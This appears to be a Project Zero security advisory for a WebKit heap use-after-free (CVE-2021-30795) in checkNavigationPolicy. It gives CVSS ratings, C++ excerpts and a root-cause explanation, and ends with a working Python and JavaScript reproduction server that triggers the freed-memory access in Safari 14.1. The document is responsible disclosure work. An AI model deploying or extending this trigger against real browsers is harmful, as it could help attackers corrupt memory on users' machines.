WebKit WebCore::FrameLoader::PolicyChecker::checkNavigationPolicy Heap Use-After-Free

2021.08.20
Risk: High
Local: No
Remote: Yes
CWE: CWE-416


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

WebKit: heap-use-after-free in WebCore::FrameLoader::PolicyChecker::checkNavigationPolicy VULNERABILITY DETAILS PolicyChecker.cpp: ``` #define IS_ALLOWED (m_frame.page() ? m_frame.page()->sessionID().isAlwaysOnLoggingAllowed() : false) #define PAGE_ID (m_frame.loader().pageID().valueOr(PageIdentifier()).toUInt64()) #define FRAME_ID (m_frame.loader().frameID().valueOr(FrameIdentifier()).toUInt64()) #define RELEASE_LOG_IF_ALLOWED(fmt, ...) RELEASE_LOG_IF(IS_ALLOWED, Loading, \"%p - [pageID=%\" PRIu64 \", frameID=%\" PRIu64 \"] PolicyChecker::\" fmt, this, PAGE_ID, FRAME_ID, ##__VA_ARGS__) [...] void FrameLoader::PolicyChecker::checkNavigationPolicy(ResourceRequest&& request, const ResourceResponse& redirectResponse, DocumentLoader* loader, RefPtr<FormState>&& formState, NavigationPolicyDecisionFunction&& function, PolicyDecisionMode policyDecisionMode) { [...] if (!isAllowedByContentSecurityPolicy(request.url(), m_frame.ownerElement(), !redirectResponse.isNull())) { if (m_frame.ownerElement()) { // Fire a load event (even though we were blocked by CSP) as timing attacks would otherwise // reveal that the frame was blocked. This way, it looks like any other cross-origin page load. m_frame.ownerElement()->dispatchEvent(Event::create(eventNames().loadEvent, Event::CanBubble::No, Event::IsCancelable::No)); } RELEASE_LOG_IF_ALLOWED(\"checkNavigationPolicy: ignoring because disallowed by content security policy\"); function(WTFMove(request), { }, NavigationPolicyDecision::IgnoreLoad); return; } ``` FrameLoader.cpp: ``` [...] Optional<PageIdentifier> FrameLoader::pageID() const { return client().pageID(); } ``` FrameLoaderClient.h: ``` class WEBCORE_EXPORT FrameLoaderClient { [...] virtual Optional<PageIdentifier> pageID() const = 0; virtual Optional<FrameIdentifier> frameID() const = 0; } ``` `PolicyChecker` is owned by `FrameLoader`, which is in turn owned by the reference-counted class `Frame`. When a load is being blocked by CSP, `PolicyChecker` fires an event in `checkNavigationPolicy()`. A malicious JS event handler can drop all references to the frame and cause the associated `PolicyChecker` to be destroyed. When the execution returns to `checkNavigationPolicy()`, the invocation of `RELEASE_LOG_IF_ALLOWED` will access freed memory, including the vtable calls `pageID()` and `frameID()` on an invalid `FrameLoaderClient` pointer. REPRODUCTION CASE Visit http://localhost:8000/ ``` import sys from http.server import HTTPServer, BaseHTTPRequestHandler html_source = b''' <body> <script> frame = document.createElement('iframe'); frame.onload = () => frame.remove(); frame.src = '/redirect'; document.body.appendChild(frame); </script> </body> ''' class Handler(BaseHTTPRequestHandler): def do_GET(self): if self.path == '/redirect': self.send_response(302) self.send_header('Location', 'http://example.com/') self.end_headers() else: self.send_response(200) self.send_header('Content-Security-Policy', 'frame-src localhost:8000') self.end_headers() self.wfile.write(html_source) HTTPServer((\"127.0.0.1\", 8000), Handler).serve_forever() ``` VERSION WebKit r277716 Safari 14.1 (16611.1.21.161.6) CREDIT INFORMATION Sergei Glazunov of Google Project Zero This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2021-08-24. Related CVE Numbers: CVE-2021-30795. Found by: glazunov@google.com


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